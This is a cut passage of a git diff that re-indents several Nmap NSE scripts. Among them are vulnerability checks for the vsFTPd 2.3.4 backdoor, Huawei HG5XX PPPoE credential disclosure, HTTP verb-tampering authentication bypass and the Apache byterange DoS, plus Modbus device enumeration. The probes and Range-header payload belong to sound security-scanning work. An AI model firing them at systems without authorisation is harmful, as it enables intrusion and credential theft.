{recv_before = false, - timeout = 8000}) + {recv_before = false, + timeout = 8000}) if not sock then stdnse.print_debug(1, "%s: can't connect: %s", - SCRIPT_NAME, err) + SCRIPT_NAME, err) return nil end @@ -177,7 +177,7 @@ vsFTPd version 2.3.4 backdoor, this was reported on 2011-07-04.]], local code, message = ftp.read_reply(buffer) if not code then stdnse.print_debug(1, "%s: can't read banner: %s", - SCRIPT_NAME, message) + SCRIPT_NAME, message) sock:close() return nil end @@ -185,7 +185,7 @@ vsFTPd version 2.3.4 backdoor, this was reported on 2011-07-04.]], status, ret = sock:send(CMD_FTP .. "\r\n") if not status then stdnse.print_debug(1, "%s: failed to send privilege escalation command: %s", - SCRIPT_NAME, ret) + SCRIPT_NAME, ret) return nil end diff --git a/scripts/http-devframework.nse b/scripts/http-devframework.nse index 08f310bc5..4f04fe010 100644 --- a/scripts/http-devframework.nse +++ b/scripts/http-devframework.nse @@ -54,25 +54,25 @@ portrule = shortport.port_or_service( {80, 443}, {"http", "https"}, "tcp", "open local function loadFingerprints(filename, cat) - local file, fingerprints + local file, fingerprints - -- Find the file - filename = nmap.fetchfile('nselib/data/' .. filename) or filename + -- Find the file + filename = nmap.fetchfile('nselib/data/' .. filename) or filename - -- Load the file - stdnse.print_debug(1, "%s: Loading fingerprints: %s", SCRIPT_NAME, filename) - local env = setmetatable({fingerprints = {}}, {__index = _G}); - file = loadfile(filename, "t", env) + -- Load the file + stdnse.print_debug(1, "%s: Loading fingerprints: %s", SCRIPT_NAME, filename) + local env = setmetatable({fingerprints = {}}, {__index = _G}); + file = loadfile(filename, "t", env) - if( not(file) ) then - stdnse.print_debug(1, "%s: Couldn't load the file: %s", SCRIPT_NAME, filename) - return - end + if( not(file) ) then + stdnse.print_debug(1, "%s: Couldn't load the file: %s", SCRIPT_NAME, filename) + return + end - file() - fingerprints = env.tools + file() + fingerprints = env.tools - return fingerprints + return fingerprints end @@ -92,10 +92,10 @@ action = function(host, port) end local crawler = httpspider.Crawler:new(host, port, '/', { scriptname = SCRIPT_NAME, - maxpagecount = 40, - maxdepth = -1, - withinhost = 1 - }) + maxpagecount = 40, + maxdepth = -1, + withinhost = 1 + }) if rapid then return "Couldn't determine the underlying framework or CMS. Try turning off 'rapid' mode." diff --git a/scripts/http-generator.nse b/scripts/http-generator.nse index f71ea4f3b..0d2a7454d 100644 --- a/scripts/http-generator.nse +++ b/scripts/http-generator.nse @@ -49,36 +49,36 @@ categories = {"default", "discovery", "safe"} -- helper function local follow_redirects = function(host, port, path, n) - local pattern = "^[hH][tT][tT][pP]/1.[01] 30[12]" - local response = http.get(host, port, path) + local pattern = "^[hH][tT][tT][pP]/1.[01] 30[12]" + local response = http.get(host, port, path) - while (response['status-line'] or ""):match(pattern) and n > 0 do - n = n - 1 - local loc = response.header['location'] - response = http.get_url(loc) - end + while (response['status-line'] or ""):match(pattern) and n > 0 do + n = n - 1 + local loc = response.header['location'] + response = http.get_url(loc) + end - return response + return response end portrule = shortport.http action = function(host, port) - local response, loc, generator - local path = stdnse.get_script_args('http-generator.path') or '/' - local redirects = tonumber(stdnse.get_script_args('http-generator.redirects')) or 3 + local response, loc, generator + local path = stdnse.get_script_args('http-generator.path') or '/' + local redirects = tonumber(stdnse.get_script_args('http-generator.redirects')) or 3 - -- Worst case: - local pattern = '' + -- Worst case: + local pattern = '' - -- make pattern case-insensitive - pattern = pattern:gsub("%a", function (c) - return string.format("[%s%s]", string.lower(c), - string.upper(c)) - end) + -- make pattern case-insensitive + pattern = pattern:gsub("%a", function (c) + return string.format("[%s%s]", string.lower(c), + string.upper(c)) + end) - response = follow_redirects(host, port, path, redirects) - if ( response and response.body ) then - return response.body:match(pattern) - end + response = follow_redirects(host, port, path, redirects) + if ( response and response.body ) then + return response.body:match(pattern) + end end diff --git a/scripts/http-huawei-hg5xx-vuln.nse b/scripts/http-huawei-hg5xx-vuln.nse index 18a4d9899..196753dac 100644 --- a/scripts/http-huawei-hg5xx-vuln.nse +++ b/scripts/http-huawei-hg5xx-vuln.nse @@ -65,20 +65,20 @@ portrule = shortport.http action = function(host, port) local vuln = { - title = 'Remote credential and information disclosure in modems Huawei HG5XX', - state = vulns.STATE.NOT_VULN, - description = [[ + title = 'Remote credential and information disclosure in modems Huawei HG5XX', + state = vulns.STATE.NOT_VULN, + description = [[ Modems Huawei 530x, 520x and possibly others are vulnerable to remote credential and information disclosure. Attackers can query the URIs "/Listadeparametros.html" and "/wanfun.js" to extract sensitive information including PPPoE credentials, firmware version, model, gateway, dns servers and active connections among other values.]], - references = { - 'http://routerpwn.com/#huawei', - 'http://websec.ca/advisories/view/Huawei-HG520c-3.10.18.x-information-disclosure' - }, - dates = { - disclosure = {year = '2011', month = '01', day = '1'}, - }, - } + references = { + 'http://routerpwn.com/#huawei', + 'http://websec.ca/advisories/view/Huawei-HG520c-3.10.18.x-information-disclosure' + }, + dates = { + disclosure = {year = '2011', month = '01', day = '1'}, + }, + } -- Identify servers that answer 200 to invalid HTTP requests and exit as these would invalidate the tests local _, http_status, _ = http.identify_404(host,port) @@ -103,8 +103,8 @@ including PPPoE credentials, firmware version, model, gateway, dns servers and a local _, _, ssid = string.find(open_session.body, 'Nombre de Red Inal\195\161mbrica %(SSID%):\n(.-)') local _, _, encryption = string.find(open_session.body, 'Encriptaci\195\179n Activada %(0: No, 1:S\195\173%):\n(.-)') local info = string.format("\nModel:%s\nFirmware version:%s\nExternal IP:%s\nGateway IP:%s\nDNS 1:%s\nDNS 2:%s\n".. - "Network segment:%s\nActive ethernet connections:%s\nActive wireless connections:%s\nBSSID:%s\nWireless Encryption (Boolean):%s\nPPPoE username:%s\n", - model, firmware_version, ip, gateway, dns1, dns2, network_segment, active_ethernet, active_wireless, ssid, encryption, pppoe_user) + "Network segment:%s\nActive ethernet connections:%s\nActive wireless connections:%s\nBSSID:%s\nWireless Encryption (Boolean):%s\nPPPoE username:%s\n", + model, firmware_version, ip, gateway, dns1, dns2, network_segment, active_ethernet, active_wireless, ssid, encryption, pppoe_user) --Checks if the username string was extracted. If its null, the modem is not vulnerable and we should exit. if pppoe_user then vuln.state = vulns.STATE.EXPLOIT diff --git a/scripts/http-method-tamper.nse b/scripts/http-method-tamper.nse index a45e3742b..a136a4a31 100644 --- a/scripts/http-method-tamper.nse +++ b/scripts/http-method-tamper.nse @@ -85,9 +85,9 @@ local function probe_http_verbs(host, port, uri) --With a random generated verb we look for 400 and 501 status local random_verb_req = http.generic_request(host, port, stdnse.generate_random_string(4), uri) local retcodes = { - [400] = true, -- Bad Request - [401] = true, -- Authentication needed - [501] = true, -- Invalid method + [400] = true, -- Bad Request + [401] = true, -- Authentication needed + [501] = true, -- Invalid method } if random_verb_req and not retcodes[random_verb_req.status] then return true, "GENERIC" @@ -103,20 +103,20 @@ action = function(host, port) local timeout = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME..".timeout")) timeout = (timeout or 10) * 1000 local vuln = { - title = 'Authentication bypass by HTTP verb tampering', - state = vulns.STATE.NOT_VULN, - description = [[ + title = 'Authentication bypass by HTTP verb tampering', + state = vulns.STATE.NOT_VULN, + description = [[ This web server contains password protected resources vulnerable to authentication bypass vulnerabilities via HTTP verb tampering. This is often found in web servers that only limit access to the common HTTP methods and in misconfigured .htaccess files. ]], - references = { - 'http://www.mkit.com.ar/labs/htexploit/', - 'http://www.imperva.com/resources/glossary/http_verb_tampering.html', - 'https://www.owasp.org/index.php/Testing_for_HTTP_Methods_and_XST_%28OWASP-CM-008%29', - 'http://capec.mitre.org/data/definitions/274.html' - } - } + references = { + 'http://www.mkit.com.ar/labs/htexploit/', + 'http://www.imperva.com/resources/glossary/http_verb_tampering.html', + 'https://www.owasp.org/index.php/Testing_for_HTTP_Methods_and_XST_%28OWASP-CM-008%29', + 'http://capec.mitre.org/data/definitions/274.html' + } + } local vuln_report = vulns.Report:new(SCRIPT_NAME, host, port) -- If paths is not set, crawl the web server looking for http 401 status @@ -124,15 +124,15 @@ vulnerabilities via HTTP verb tampering. This is often found in web servers that local crawler = httpspider.Crawler:new(host, port, uri, { scriptname = SCRIPT_NAME } ) crawler:set_timeout(timeout) - while(true) do + while(true) do local status, r = crawler:crawl() - if ( not(status) ) then - if ( r.err ) then - return stdnse.format_output(true, "ERROR: %s", r.reason) - else - break - end + if ( not(status) ) then + if ( r.err ) then + return stdnse.format_output(true, "ERROR: %s", r.reason) + else + break end + end if r.response.status == 401 then stdnse.print_debug(2, "%s:%s is protected! Let's try some verb tampering...", SCRIPT_NAME, tostring(r.url)) local parsed = url.parse(tostring(r.url)) @@ -144,7 +144,7 @@ vulnerabilities via HTTP verb tampering. This is often found in web servers that end end else - -- Paths were set, check them and exit. No crawling here. + -- Paths were set, check them and exit. No crawling here. -- convert single string entry to table if ( type(paths) == "string" ) then @@ -156,10 +156,10 @@ vulnerabilities via HTTP verb tampering. This is often found in web servers that if path_req.status == 401 then local probe_status, probe_type = probe_http_verbs(host, port, path) - if probe_status then + if probe_status then stdnse.print_debug(1, "%s:Vulnerable URI %s", SCRIPT_NAME, path) table.insert(vuln_uris, path..string.format(" [%s]", probe_type)) - end + end end end diff --git a/scripts/http-mobileversion-checker.nse b/scripts/http-mobileversion-checker.nse index e0d1c23b7..367bd0fad 100644 --- a/scripts/http-mobileversion-checker.nse +++ b/scripts/http-mobileversion-checker.nse @@ -34,27 +34,27 @@ local string = require "string" getLastLoc = function(host, port, useragent) - local options + local options - options = {header={}, no_cache=true, redirect_ok=function(host,port) - local c = 3 - return function(url) - if ( c==0 ) then return false end - c = c - 1 - return true - end - end } + options = {header={}, no_cache=true, redirect_ok=function(host,port) + local c = 3 + return function(url) + if ( c==0 ) then return false end + c = c - 1 + return true + end + end } - options['header']['User-Agent'] = useragent + options['header']['User-Agent'] = useragent - local response = http.get(host, port, '/', options) + local response = http.get(host, port, '/', options) - if response.location then - return response.location[#response.location] or false - end + if response.location then + return response.location[#response.location] or false + end - return false + return false end @@ -62,27 +62,27 @@ portrule = shortport.port_or_service( {80, 443}, {"http", "https"}, "tcp", "open action = function(host, port) - local newtargets = stdnse.get_script_args("newtargets") or nil + local newtargets = stdnse.get_script_args("newtargets") or nil - -- We don't crawl any site. We initialize a crawler to use its iswithinhost method. - local crawler = httpspider.Crawler:new(host, port, '/', { scriptname = SCRIPT_NAME } ) + -- We don't crawl any site. We initialize a crawler to use its iswithinhost method. + local crawler = httpspider.Crawler:new(host, port, '/', { scriptname = SCRIPT_NAME } ) - local loc = getLastLoc(host, port, "Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.57 Safari/537.17") - local mobloc = getLastLoc(host, port, "Mozilla/5.0 (Linux; U; Android 4.0.3; ko-kr; LG-L160L Build/IML74K) AppleWebkit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30") + local loc = getLastLoc(host, port, "Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.57 Safari/537.17") + local mobloc = getLastLoc(host, port, "Mozilla/5.0 (Linux; U; Android 4.0.3; ko-kr; LG-L160L Build/IML74K) AppleWebkit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30") - -- If the mobile browser request is redirected to a different page, that must be the mobile version's page. - if loc ~= mobloc then - local msg = "Found mobile version: " .. mobloc - local mobhost = http.parse_url(mobloc) - if not crawler:iswithinhost(mobhost.host) then - msg = msg .. " (Redirected to a different host)" - if newtargets then - target.add(mobhost.host) - end - end - return msg + -- If the mobile browser request is redirected to a different page, that must be the mobile version's page. + if loc ~= mobloc then + local msg = "Found mobile version: " .. mobloc + local mobhost = http.parse_url(mobloc) + if not crawler:iswithinhost(mobhost.host) then + msg = msg .. " (Redirected to a different host)" + if newtargets then + target.add(mobhost.host) + end end + return msg + end - return "No mobile version detected." + return "No mobile version detected." end diff --git a/scripts/http-useragent-tester.nse b/scripts/http-useragent-tester.nse index f59ae547d..9b4cd0454 100644 --- a/scripts/http-useragent-tester.nse +++ b/scripts/http-useragent-tester.nse @@ -56,29 +56,29 @@ local string = require "string" getLastLoc = function(host, port, useragent) - local options + local options - options = {header={}, no_cache=true, redirect_ok=function(host,port) - local c = 3 - return function(url) - if ( c==0 ) then return false end - c = c - 1 - return true - end - end } + options = {header={}, no_cache=true, redirect_ok=function(host,port) + local c = 3 + return function(url) + if ( c==0 ) then return false end + c = c - 1 + return true + end + end } - options['header']['User-Agent'] = useragent + options['header']['User-Agent'] = useragent - stdnse.print_debug(2, "Making a request with User-Agent: " .. useragent) + stdnse.print_debug(2, "Making a request with User-Agent: " .. useragent) - local response = http.get(host, port, '/', options) + local response = http.get(host, port, '/', options) - if response.location then - return response.location[#response.location] or false - end + if response.location then + return response.location[#response.location] or false + end - return false + return false end @@ -86,70 +86,70 @@ portrule = shortport.port_or_service( {80, 443}, {"http", "https"}, "tcp", "open action = function(host, port) - local moreagents = stdnse.get_script_args("http-useragent-tester.useragents") or nil - local newtargets = stdnse.get_script_args("newtargets") or nil + local moreagents = stdnse.get_script_args("http-useragent-tester.useragents") or nil + local newtargets = stdnse.get_script_args("newtargets") or nil - -- We don't crawl any site. We initialize a crawler to use its iswithinhost method. - local crawler = httpspider.Crawler:new(host, port, '/', { scriptname = SCRIPT_NAME } ) + -- We don't crawl any site. We initialize a crawler to use its iswithinhost method. + local crawler = httpspider.Crawler:new(host, port, '/', { scriptname = SCRIPT_NAME } ) - local HTTPlibs = {"libwww", - "lwp-trivial", - "libcurl-agent/1.0", - "PHP/", - "Python-urllib/2.5", - "GT::WWW", - "Snoopy", - "MFC_Tear_Sample", - "HTTP::Lite", - "PHPCrawl", - "URI::Fetch", - "Zend_Http_Client", - "http client", - "PECL::HTTP", - "Wget/1.13.4 (linux-gnu)", - "WWW-Mechanize/1.34" - } + local HTTPlibs = {"libwww", + "lwp-trivial", + "libcurl-agent/1.0", + "PHP/", + "Python-urllib/2.5", + "GT::WWW", + "Snoopy", + "MFC_Tear_Sample", + "HTTP::Lite", + "PHPCrawl", + "URI::Fetch", + "Zend_Http_Client", + "http client", + "PECL::HTTP", + "Wget/1.13.4 (linux-gnu)", + "WWW-Mechanize/1.34" + } - if moreagents then - for _, l in ipairs(moreagents) do - table.insert(HTTPlibs, l) + if moreagents then + for _, l in ipairs(moreagents) do + table.insert(HTTPlibs, l) + end + end + + -- We perform a normal browser request and get the returned location + local loc = getLastLoc(host, port, "Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.57 Safari/537.17") + + local allowed, forb = {}, {} + + for _, l in ipairs(HTTPlibs) do + + local libloc = getLastLoc(host, port, l) + + -- If the library's request returned a different location, that means the request was redirected somewhere else, hence is forbidden. + if loc ~= libloc then + local msg = l .. " redirected to: " .. libloc + local libhost = http.parse_url(libloc) + if not crawler:iswithinhost(libhost.host) then + msg = msg .. " (different host)" + if newtargets then + target.add(libhost.host) end + end + table.insert(forb, msg) + else + table.insert(allowed, l) end - -- We perform a normal browser request and get the returned location - local loc = getLastLoc(host, port, "Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.57 Safari/537.17") + end - local allowed, forb = {}, {} + if next(allowed) ~= nil then + table.insert(allowed, 1, "Allowed User Agents:") + end - for _, l in ipairs(HTTPlibs) do + if next(forb) ~= nil then + table.insert(forb, 1, "Forbidden User Agents:") + end - local libloc = getLastLoc(host, port, l) - - -- If the library's request returned a different location, that means the request was redirected somewhere else, hence is forbidden. - if loc ~= libloc then - local msg = l .. " redirected to: " .. libloc - local libhost = http.parse_url(libloc) - if not crawler:iswithinhost(libhost.host) then - msg = msg .. " (different host)" - if newtargets then - target.add(libhost.host) - end - end - table.insert(forb, msg) - else - table.insert(allowed, l) - end - - end - - if next(allowed) ~= nil then - table.insert(allowed, 1, "Allowed User Agents:") - end - - if next(forb) ~= nil then - table.insert(forb, 1, "Forbidden User Agents:") - end - - return {allowed, forb} + return {allowed, forb} end diff --git a/scripts/http-vuln-cve2011-3192.nse b/scripts/http-vuln-cve2011-3192.nse index 3cf02d497..1b20e2528 100644 --- a/scripts/http-vuln-cve2011-3192.nse +++ b/scripts/http-vuln-cve2011-3192.nse @@ -56,74 +56,74 @@ categories = {"vuln", "safe"} portrule = shortport.http action = function(host, port) - local vuln = { - title = 'Apache byterange filter DoS', - state = vulns.STATE.NOT_VULN, -- default - IDS = {CVE = 'CVE-2011-3192', OSVDB = '74721'}, - description = [[ + local vuln = { + title = 'Apache byterange filter DoS', + state = vulns.STATE.NOT_VULN, -- default + IDS = {CVE = 'CVE-2011-3192', OSVDB = '74721'}, + description = [[ The Apache web server is vulnerable to a denial of service attack when numerous overlapping byte ranges are requested.]], - references = { - 'http://seclists.org/fulldisclosure/2011/Aug/175', - 'http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-3192', - 'http://nessus.org/plugins/index.php?view=single&id=55976', - }, - dates = { - disclosure = {year = '2011', month = '08', day = '19'}, - }, - } - local vuln_report = vulns.Report:new(SCRIPT_NAME, host, port) - local hostname, path = stdnse.get_script_args('http-vuln-cve2011-3192.hostname', - 'http-vuln-cve2011-3192.path') + references = { + 'http://seclists.org/fulldisclosure/2011/Aug/175', + 'http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-3192', + 'http://nessus.org/plugins/index.php?view=single&id=55976', + }, + dates = { + disclosure = {year = '2011', month = '08', day = '19'}, + }, + } + local vuln_report = vulns.Report:new(SCRIPT_NAME, host, port) + local hostname, path = stdnse.get_script_args('http-vuln-cve2011-3192.hostname', + 'http-vuln-cve2011-3192.path') - if not path then - path = '/' + if not path then + path = '/' - stdnse.print_debug(1, "Setting the request path to '/' since 'http-vuln-cve2011-3192.path' argument is missing.") - end + stdnse.print_debug(1, "Setting the request path to '/' since 'http-vuln-cve2011-3192.path' argument is missing.") + end - -- This first request will try to get a code 206 reply from the server by - -- sending the innocuous header "Range: byte=0-100" in order to detect - -- whether this functionality is available or not. - local request_opts = { - header = { - Range = "bytes=0-100", - Connection = "close" - }, - bypass_cache = true - } + -- This first request will try to get a code 206 reply from the server by + -- sending the innocuous header "Range: byte=0-100" in order to detect + -- whether this functionality is available or not. + local request_opts = { + header = { + Range = "bytes=0-100", + Connection = "close" + }, + bypass_cache = true + } - if hostname then - request_opts.header.Host = hostname - end + if hostname then + request_opts.header.Host = hostname + end - local response = http.head(host, port, path, request_opts) + local response = http.head(host, port, path, request_opts) + + if not response.status then + stdnse.print_debug(1, "%s: Functionality check HEAD request failed for %s (with path '%s').", + SCRIPT_NAME, hostname or host.ip, path) + elseif response.status == 206 then + -- The server handle range requests. Now try to request 11 ranges (one more + -- than allowed). + -- Vulnerable servers will reply with another code 206 response. Patched + -- ones will return a code 200. + request_opts.header.Range = "bytes=1-0,0-0,1-1,2-2,3-3,4-4,5-5,6-6,7-7,8-8,9-9,10-10" + + response = http.head(host, port, path, request_opts) if not response.status then - stdnse.print_debug(1, "%s: Functionality check HEAD request failed for %s (with path '%s').", - SCRIPT_NAME, hostname or host.ip, path) + stdnse.print_debug(1, "%s: Invalid response from server to the vulnerability check", + SCRIPT_NAME) elseif response.status == 206 then - -- The server handle range requests. Now try to request 11 ranges (one more - -- than allowed). - -- Vulnerable servers will reply with another code 206 response. Patched - -- ones will return a code 200. - request_opts.header.Range = "bytes=1-0,0-0,1-1,2-2,3-3,4-4,5-5,6-6,7-7,8-8,9-9,10-10" - - response = http.head(host, port, path, request_opts) - - if not response.status then - stdnse.print_debug(1, "%s: Invalid response from server to the vulnerability check", - SCRIPT_NAME) - elseif response.status == 206 then - vuln.state = vulns.STATE.VULN - else - stdnse.print_debug(1, "%s: Server isn't vulnerable (%i status code)", - SCRIPT_NAME, response.status) - end + vuln.state = vulns.STATE.VULN else - stdnse.print_debug(1, "%s: Server ignores the range header (%i status code)", - SCRIPT_NAME, response.status) + stdnse.print_debug(1, "%s: Server isn't vulnerable (%i status code)", + SCRIPT_NAME, response.status) end - return vuln_report:make_output(vuln) + else + stdnse.print_debug(1, "%s: Server ignores the range header (%i status code)", + SCRIPT_NAME, response.status) + end + return vuln_report:make_output(vuln) end diff --git a/scripts/http-xssed.nse b/scripts/http-xssed.nse index b9d37143c..0c7bc919f 100644 --- a/scripts/http-xssed.nse +++ b/scripts/http-xssed.nse @@ -45,46 +45,46 @@ local XSSED_URL = "URL: ([^%s]+)" action = function(host, port) - local fixed, unfixed + local fixed, unfixed - local target = XSSED_SEARCH .. host.targetname + local target = XSSED_SEARCH .. host.targetname - -- Only one instantiation of the script should ping xssed at once. - local mutex = nmap.mutex("http-xssed") - mutex "lock" + -- Only one instantiation of the script should ping xssed at once. + local mutex = nmap.mutex("http-xssed") + mutex "lock" - local response = http.get(XSSED_SITE, 80, target) + local response = http.get(XSSED_SITE, 80, target) - if string.find(response.body, XSSED_FOUND) then - fixed = {} - unfixed = {} - for m in string.gmatch(response.body, XSSED_MIRROR) do - local mirror = http.get(XSSED_SITE, 80, m) - for v in string.gmatch(mirror.body, XSSED_URL) do - if string.find(mirror.body, XSSED_FIXED) then - table.insert(fixed, "\t" .. v .. "\n") - else - table.insert(unfixed, "\t" .. v .. "\n") - end - end + if string.find(response.body, XSSED_FOUND) then + fixed = {} + unfixed = {} + for m in string.gmatch(response.body, XSSED_MIRROR) do + local mirror = http.get(XSSED_SITE, 80, m) + for v in string.gmatch(mirror.body, XSSED_URL) do + if string.find(mirror.body, XSSED_FIXED) then + table.insert(fixed, "\t" .. v .. "\n") + else + table.insert(unfixed, "\t" .. v .. "\n") end + end end + end - mutex "done" + mutex "done" - -- Fix the output. - if not fixed and not unfixed then - return "No previously reported XSS vuln." - end + -- Fix the output. + if not fixed and not unfixed then + return "No previously reported XSS vuln." + end - if next(unfixed) ~= nil then - table.insert(unfixed, 1, "UNFIXED XSS vuln.\n") - end + if next(unfixed) ~= nil then + table.insert(unfixed, 1, "UNFIXED XSS vuln.\n") + end - if next(fixed) ~= nil then - table.insert(fixed, 1, "FIXED XSS vuln.\n") - end + if next(fixed) ~= nil then + table.insert(fixed, 1, "FIXED XSS vuln.\n") + end - return {unfixed, fixed} + return {unfixed, fixed} end diff --git a/scripts/modbus-discover.nse b/scripts/modbus-discover.nse index 32b52cf8e..f09424e1c 100644 --- a/scripts/modbus-discover.nse +++ b/scripts/modbus-discover.nse @@ -46,125 +46,125 @@ categories = {"discovery", "intrusive"} portrule = shortport.portnumber(502, "tcp") local form_rsid = function(sid, functionId, data) - local payload_len = 2 - if ( #data > 0 ) then - payload_len = payload_len + #data - end - return bin.pack('CCCCC', 0x00, 0x00, 0x00, 0x00, 0x00) .. bin.pack('C', payload_len) .. bin.pack('C', sid) .. bin.pack('C', functionId) .. data + local payload_len = 2 + if ( #data > 0 ) then + payload_len = payload_len + #data + end + return bin.pack('CCCCC', 0x00, 0x00, 0x00, 0x00, 0x00) .. bin.pack('C', payload_len) .. bin.pack('C', sid) .. bin.pack('C', functionId) .. data end discover_device_id_recursive = function(host, port, sid, start_id) - local rsid = form_rsid(sid, 0x2B, bin.pack('H', "0E 01")..bin.pack('C', start_id)) - local status, result = comm.exchange(host, port, rsid) - local objects_table = {} - if ( status and (#result >= 8)) then - local ret_code = string.byte(result, 8) - if ( ret_code == 0x2B and #result >= 15 ) then - local more_follows = string.byte(result, 12) - local next_object_id = string.byte(result, 13) - local number_of_objects = string.byte(result, 14) - stdnse.print_debug(1, ("more = 0x%x, next_id = 0x%x, obj_number = 0x%x"):format(more_follows, next_object_id, number_of_objects)) - local offset = 15 - for i = start_id, (number_of_objects - 1) do - local object_id = string.byte(result, offset) - local object_len = string.byte(result, offset + 1) - -- error data format -- - if object_len == nil then break end - local object_value = string.sub(result, offset + 2, offset + 1 + object_len) - stdnse.print_debug(1, ("Object id = 0x%x, value = %s"):format(object_id, object_value)) - table.insert(objects_table, object_id + 1, object_value) - offset = offset + 2 + object_len - end - if ( more_follows == 0xFF and next_object_id ~= 0x00 ) then - stdnse.print_debug(1, "Has more objects") - local recursive_table = discover_device_id_recursive(host, port, sid, next_object_id) - for k,v in pairs(recursive_table) do - table.insert(objects_table, k, v) - end - end + local rsid = form_rsid(sid, 0x2B, bin.pack('H', "0E 01")..bin.pack('C', start_id)) + local status, result = comm.exchange(host, port, rsid) + local objects_table = {} + if ( status and (#result >= 8)) then + local ret_code = string.byte(result, 8) + if ( ret_code == 0x2B and #result >= 15 ) then + local more_follows = string.byte(result, 12) + local next_object_id = string.byte(result, 13) + local number_of_objects = string.byte(result, 14) + stdnse.print_debug(1, ("more = 0x%x, next_id = 0x%x, obj_number = 0x%x"):format(more_follows, next_object_id, number_of_objects)) + local offset = 15 + for i = start_id, (number_of_objects - 1) do + local object_id = string.byte(result, offset) + local object_len = string.byte(result, offset + 1) + -- error data format -- + if object_len == nil then break end + local object_value = string.sub(result, offset + 2, offset + 1 + object_len) + stdnse.print_debug(1, ("Object id = 0x%x, value = %s"):format(object_id, object_value)) + table.insert(objects_table, object_id + 1, object_value) + offset = offset + 2 + object_len + end + if ( more_follows == 0xFF and next_object_id ~= 0x00 ) then + stdnse.print_debug(1, "Has more objects") + local recursive_table = discover_device_id_recursive(host, port, sid, next_object_id) + for k,v in pairs(recursive_table) do + table.insert(objects_table, k, v) end + end end - return objects_table + end + return objects_table end local discover_device_id = function(host, port, sid) - return discover_device_id_recursive(host, port, sid, 0x0) + return discover_device_id_recursive(host, port, sid, 0x0) end local form_device_id_string = function(device_table) - local ret_string = "DEVICE IDENTIFICATION: " - for i = 1, #device_table do - if ( device_table[i] ~= nil ) then - ret_string = ret_string..device_table[i] - if ( i < #device_table ) then ret_string = ret_string.." " end - end + local ret_string = "DEVICE IDENTIFICATION: " + for i = 1, #device_table do + if ( device_table[i] ~= nil ) then + ret_string = ret_string..device_table[i] + if ( i < #device_table ) then ret_string = ret_string.." " end end - return ret_string + end + return ret_string end local extract_slave_id = function(response) - local byte_count = string.byte(response, 9) - if ( byte_count == nil or byte_count == 0) then return nil end - local offset, slave_id = bin.unpack("A"..byte_count, response, 10) - return slave_id + local byte_count = string.byte(response, 9) + if ( byte_count == nil or byte_count == 0) then return nil end + local offset, slave_id = bin.unpack("A"..byte_count, response, 10) + return slave_id end modbus_exception_codes = { - [1] = "ILLEGAL FUNCTION", - [2] = "ILLEGAL DATA ADDRESS", - [3] = "ILLEGAL DATA VALUE", - [4] = "SLAVE DEVICE FAILURE", - [5] = "ACKNOWLEDGE", - [6] = "SLAVE DEVICE BUSY", - [8] = "MEMORY PARITY ERROR", - [10] = "GATEWAY PATH UNAVAILABLE", - [11] = "GATEWAY TARGET DEVICE FAILED TO RESPOND" + [1] = "ILLEGAL FUNCTION", + [2] = "ILLEGAL DATA ADDRESS", + [3] = "ILLEGAL DATA VALUE", + [4] = "SLAVE DEVICE FAILURE", + [5] = "ACKNOWLEDGE", + [6] = "SLAVE DEVICE BUSY", + [8] = "MEMORY PARITY ERROR", + [10] = "GATEWAY PATH UNAVAILABLE", + [11] = "GATEWAY TARGET DEVICE FAILED TO RESPOND" } action = function(host, port) - -- If false, stop after first sid. - local aggressive = stdnse.get_script_args('modbus-discover.aggressive') + -- If false, stop after first sid. + local aggressive = stdnse.get_script_args('modbus-discover.aggressive') - local opts = {timeout=2000} - local results = {} + local opts = {timeout=2000} + local results = {} - for sid = 1, 246 do - stdnse.print_debug(3, "Sending command with sid = %d", sid) - local rsid = form_rsid(sid, 0x11, "") + for sid = 1, 246 do + stdnse.print_debug(3, "Sending command with sid = %d", sid) + local rsid = form_rsid(sid, 0x11, "") - local status, result = comm.exchange(host, port, rsid, opts) - if ( status and (#result >= 8) ) then - local ret_code = string.byte(result, 8) - if ( ret_code == (0x11) or ret_code == (0x11 + 128) ) then - local sid_table = {} - if ret_code == (0x11) then - table.insert(results, ("Positive response for sid = 0x%x"):format(sid)) - local slave_id = extract_slave_id(result) - if ( slave_id ~= nil ) then table.insert(sid_table, "SLAVE ID DATA: "..slave_id) end - elseif ret_code == (0x11 + 128) then - local exception_code = string.byte(result, 9) - local exception_string = modbus_exception_codes[exception_code] - if ( exception_string == nil ) then exception_string = "UNKNOWN EXCEPTION" end - table.insert(results, ("Positive error response for sid = 0x%x (%s)"):format(sid, exception_string)) - end - - local device_table = discover_device_id(host, port, sid) - if ( #device_table > 0 ) then - table.insert(sid_table, form_device_id_string(device_table)) - end - if ( #sid_table > 0 ) then - table.insert(results, sid_table) - end - if ( not aggressive ) then break end - end + local status, result = comm.exchange(host, port, rsid, opts) + if ( status and (#result >= 8) ) then + local ret_code = string.byte(result, 8) + if ( ret_code == (0x11) or ret_code == (0x11 + 128) ) then + local sid_table = {} + if ret_code == (0x11) then + table.insert(results, ("Positive response for sid = 0x%x"):format(sid)) + local slave_id = extract_slave_id(result) + if ( slave_id ~= nil ) then table.insert(sid_table, "SLAVE ID DATA: "..slave_id) end + elseif ret_code == (0x11 + 128) then + local exception_code = string.byte(result, 9) + local exception_string = modbus_exception_codes[exception_code] + if ( exception_string == nil ) then exception_string = "UNKNOWN EXCEPTION" end + table.insert(results, ("Positive error response for sid = 0x%x (%s)"):format(sid, exception_string)) end - end - if ( #results > 0 ) then - port.state = "open" - port.version.name = "modbus" - nmap.set_port_version(host, port) + local device_table = discover_device_id(host, port, sid) + if ( #device_table > 0 ) then + table.insert(sid_table, form_device_id_string(device_table)) + end + if ( #sid_table > 0 ) then + table.insert(results, sid_table) + end + if ( not aggressive ) then break end + end end + end - return stdnse.format_output(true, results) + if ( #results > 0 ) then + port.state = "open" + port.version.name = "modbus" + nmap.set_port_version(host, port) + end + + return stdnse.format_output(true, results) end diff --git a/scripts/murmur-version.nse b/scripts/murmur-version.nse index 